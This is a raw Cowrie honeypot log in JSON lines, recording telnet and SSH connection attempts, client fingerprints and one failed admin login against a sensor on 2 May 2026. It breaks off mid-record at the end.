{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40576,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bc4dfdac2c5","protocol":"telnet","message":"New connection: 104.245.105.2:40576 (10.17.0.5:23) [session: 8bc4dfdac2c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:28.799929Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37940,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e4a10936356","protocol":"telnet","message":"New connection: 188.208.141.113:37940 (10.17.0.5:23) [session: 7e4a10936356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:29.305185Z"}
{"eventid":"cowrie.session.closed","duration":30.945906400680542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:29.341433Z","src_ip":"104.245.105.2","session":"0152aa2c2759","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60318,"dst_ip":"10.17.0.5","dst_port":23,"session":"41f3b12ecbec","protocol":"telnet","message":"New connection: 104.245.105.2:60318 (10.17.0.5:23) [session: 41f3b12ecbec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:30.961638Z"}
{"eventid":"cowrie.session.closed","duration":34.49478578567505,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:34.190795Z","src_ip":"104.245.105.2","session":"54fb7411ad4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.45195698738098,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:35.647052Z","src_ip":"206.189.32.23","session":"33e60ea7ce36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99713683128357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:35.866334Z","src_ip":"104.245.105.2","session":"cbf61be6a41b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60330,"dst_ip":"10.17.0.5","dst_port":23,"session":"573e1f9646e2","protocol":"telnet","message":"New connection: 104.245.105.2:60330 (10.17.0.5:23) [session: 573e1f9646e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:36.496232Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38286,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a8a4a01d8c0","protocol":"telnet","message":"New connection: 104.245.105.2:38286 (10.17.0.5:23) [session: 3a8a4a01d8c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:41.807239Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":49054,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fc5e3d54825","protocol":"telnet","message":"New connection: 206.189.32.23:49054 (10.17.0.5:23) [session: 9fc5e3d54825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:46.158295Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":44520,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2108a0ac900","protocol":"ssh","message":"New connection: 190.108.60.10:44520 (10.17.0.5:22) [session: f2108a0ac900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:46.222413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:46.227044Z","src_ip":"190.108.60.10","session":"f2108a0ac900","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:46.422599Z","src_ip":"190.108.60.10","session":"f2108a0ac900","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"palosanto","message":"login attempt [admin/palosanto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:47.228918Z","src_ip":"190.108.60.10","session":"f2108a0ac900","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:48.421312Z","src_ip":"190.108.60.10","session":"f2108a0ac900","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":37862,"dst_ip":"10.17.0.5","dst_port":23,"session":"df1f4bf328b8","protocol":"telnet","message":"New connection: 104.245.105.2:37862 (10.17.0.5:23) [session: df1f4bf328b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:49.881896Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":37870,"dst_ip":"10.17.0.5","dst_port":23,"session":"71974dd2cf02","protocol":"telnet","message":"New connection: 104.245.105.2:37870 (10.17.0.5:23) [session: 71974dd2cf02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:51.525220Z"}
{"eventid":"cowrie.session.closed","duration":42.401859283447266,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:54.125937Z","src_ip":"188.208.141.113","session":"2dc4c52617ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":58590,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b2d5847fabe","protocol":"telnet","message":"New connection: 206.189.32.23:58590 (10.17.0.5:23) [session: 0b2d5847fabe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:57.156514Z"}
{"eventid":"cowrie.session.closed","duration":46.03653812408447,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:57.180302Z","src_ip":"104.245.105.2","session":"c921786c7aff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.437758684158325,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:58.156119Z","src_ip":"104.245.105.2","session":"57d4157081be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86856961250305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:42:59.668341Z","src_ip":"104.245.105.2","session":"8bc4dfdac2c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.067976713180542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:02.029480Z","src_ip":"104.245.105.2","session":"41f3b12ecbec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38656,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8b52b0de93e","protocol":"telnet","message":"New connection: 104.245.105.2:38656 (10.17.0.5:23) [session: e8b52b0de93e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:03.625284Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":37618,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa8a60033f1f","protocol":"telnet","message":"New connection: 206.189.32.23:37618 (10.17.0.5:23) [session: fa8a60033f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:05.831677Z"}
{"eventid":"cowrie.session.closed","duration":31.78938937187195,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:08.285467Z","src_ip":"104.245.105.2","session":"573e1f9646e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47216,"dst_ip":"10.17.0.5","dst_port":23,"session":"93d51fbc24ed","protocol":"telnet","message":"New connection: 188.208.141.113:47216 (10.17.0.5:23) [session: 93d51fbc24ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:09.972921Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43756,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9b49098500d","protocol":"telnet","message":"New connection: 188.208.141.113:43756 (10.17.0.5:23) [session: d9b49098500d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:10.980204Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":41360,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bcde6d36599","protocol":"telnet","message":"New connection: 206.189.32.23:41360 (10.17.0.5:23) [session: 2bcde6d36599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:11.880547Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46034,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1630205786e","protocol":"telnet","message":"New connection: 104.245.105.2:46034 (10.17.0.5:23) [session: f1630205786e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:12.005904Z"}
{"eventid":"cowrie.session.closed","duration":43.851409673690796,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:13.156487Z","src_ip":"188.208.141.113","session":"7e4a10936356","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":40418,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b02ac4cd7c4","protocol":"telnet","message":"New connection: 206.189.32.23:40418 (10.17.0.5:23) [session: 7b02ac4cd7c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:14.678242Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46050,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdd2978ef31a","protocol":"telnet","message":"New connection: 104.245.105.2:46050 (10.17.0.5:23) [session: bdd2978ef31a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:14.695966Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46060,"dst_ip":"10.17.0.5","dst_port":23,"session":"e19eb38be9a8","protocol":"telnet","message":"New connection: 104.245.105.2:46060 (10.17.0.5:23) [session: e19eb38be9a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:14.787837Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46068,"dst_ip":"10.17.0.5","dst_port":23,"session":"0573d5089000","protocol":"telnet","message":"New connection: 104.245.105.2:46068 (10.17.0.5:23) [session: 0573d5089000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:15.625438Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46084,"dst_ip":"10.17.0.5","dst_port":23,"session":"d55d2fba2ae6","protocol":"telnet","message":"New connection: 104.245.105.2:46084 (10.17.0.5:23) [session: d55d2fba2ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:16.955592Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46088,"dst_ip":"10.17.0.5","dst_port":23,"session":"864167e42072","protocol":"telnet","message":"New connection: 104.245.105.2:46088 (10.17.0.5:23) [session: 864167e42072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:17.694563Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46104,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3b3b937145f","protocol":"telnet","message":"New connection: 104.245.105.2:46104 (10.17.0.5:23) [session: f3b3b937145f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:18.226843Z"}
{"eventid":"cowrie.session.closed","duration":4.472433090209961,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:19.150539Z","src_ip":"206.189.32.23","session":"7b02ac4cd7c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.3907208442688,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:19.197739Z","src_ip":"104.245.105.2","session":"3a8a4a01d8c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47274,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8c4a209f37c","protocol":"telnet","message":"New connection: 104.245.105.2:47274 (10.17.0.5:23) [session: b8c4a209f37c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:19.569617Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":49014,"dst_ip":"10.17.0.5","dst_port":23,"session":"331d31934114","protocol":"telnet","message":"New connection: 206.189.32.23:49014 (10.17.0.5:23) [session: 331d31934114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:20.620396Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":49834,"dst_ip":"10.17.0.5","dst_port":23,"session":"fecf34e21c90","protocol":"telnet","message":"New connection: 206.189.32.23:49834 (10.17.0.5:23) [session: fecf34e21c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:21.644274Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58050,"dst_ip":"10.17.0.5","dst_port":23,"session":"998929a5c9a5","protocol":"telnet","message":"New connection: 188.208.141.113:58050 (10.17.0.5:23) [session: 998929a5c9a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:22.273074Z"}
{"eventid":"cowrie.session.closed","duration":39.052162885665894,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:25.210336Z","src_ip":"206.189.32.23","session":"9fc5e3d54825","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.18258833885193,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:25.707686Z","src_ip":"104.245.105.2","session":"71974dd2cf02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.353064298629761,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:26.997217Z","src_ip":"206.189.32.23","session":"fecf34e21c90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.44217491149902,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:30.323959Z","src_ip":"104.245.105.2","session":"df1f4bf328b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53286,"dst_ip":"10.17.0.5","dst_port":23,"session":"d195ddfb597e","protocol":"telnet","message":"New connection: 104.245.105.2:53286 (10.17.0.5:23) [session: d195ddfb597e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:31.750296Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53298,"dst_ip":"10.17.0.5","dst_port":23,"session":"9272a85dbb89","protocol":"telnet","message":"New connection: 104.245.105.2:53298 (10.17.0.5:23) [session: 9272a85dbb89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:33.117261Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":49832,"dst_ip":"10.17.0.5","dst_port":23,"session":"82cec5472791","protocol":"telnet","message":"New connection: 104.245.105.2:49832 (10.17.0.5:23) [session: 82cec5472791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:42.600673Z"}
{"eventid":"cowrie.session.closed","duration":39.08724308013916,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:42.712365Z","src_ip":"104.245.105.2","session":"e8b52b0de93e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.23737812042236,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:43.393818Z","src_ip":"206.189.32.23","session":"0b2d5847fabe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.620431900024414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:43.626247Z","src_ip":"104.245.105.2","session":"f1630205786e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":40630,"dst_ip":"10.17.0.5","dst_port":23,"session":"70444e6b5679","protocol":"telnet","message":"New connection: 206.189.32.23:40630 (10.17.0.5:23) [session: 70444e6b5679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:44.042923Z"}
{"eventid":"cowrie.session.closed","duration":1.1302034854888916,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:45.173003Z","src_ip":"206.189.32.23","session":"70444e6b5679","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.777791261672974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:45.565517Z","src_ip":"104.245.105.2","session":"e19eb38be9a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":49836,"dst_ip":"10.17.0.5","dst_port":23,"session":"b77e152390b5","protocol":"telnet","message":"New connection: 104.245.105.2:49836 (10.17.0.5:23) [session: b77e152390b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:47.892211Z"}
{"eventid":"cowrie.session.closed","duration":31.40518021583557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:48.360698Z","src_ip":"104.245.105.2","session":"d55d2fba2ae6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.938559770584106,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:48.634384Z","src_ip":"104.245.105.2","session":"bdd2978ef31a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.846381425857544,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:50.073075Z","src_ip":"104.245.105.2","session":"f3b3b937145f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69362759590149,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:50.263155Z","src_ip":"104.245.105.2","session":"b8c4a209f37c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.63877320289612,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:50.333174Z","src_ip":"104.245.105.2","session":"864167e42072","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46042,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b2acc1daaa1","protocol":"telnet","message":"New connection: 104.245.105.2:46042 (10.17.0.5:23) [session: 8b2acc1daaa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:51.321116Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":47642,"dst_ip":"10.17.0.5","dst_port":23,"session":"f968ffb8255a","protocol":"telnet","message":"New connection: 206.189.32.23:47642 (10.17.0.5:23) [session: f968ffb8255a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:52.921974Z"}
{"eventid":"cowrie.session.closed","duration":37.82855582237244,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:53.453902Z","src_ip":"104.245.105.2","session":"0573d5089000","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.573413610458374,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:53.546249Z","src_ip":"188.208.141.113","session":"93d51fbc24ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.34845566749573,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:55.179991Z","src_ip":"206.189.32.23","session":"fa8a60033f1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.22913193702698,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:56.109571Z","src_ip":"206.189.32.23","session":"2bcde6d36599","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.24454641342163,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:56.224571Z","src_ip":"188.208.141.113","session":"d9b49098500d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":33716,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8ff258f0b62","protocol":"ssh","message":"New connection: 190.108.60.10:33716 (10.17.0.5:22) [session: e8ff258f0b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:56.279953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:56.284975Z","src_ip":"190.108.60.10","session":"e8ff258f0b62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46048,"dst_ip":"10.17.0.5","dst_port":23,"session":"422c358fb712","protocol":"telnet","message":"New connection: 104.245.105.2:46048 (10.17.0.5:23) [session: 422c358fb712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:43:56.307778Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.co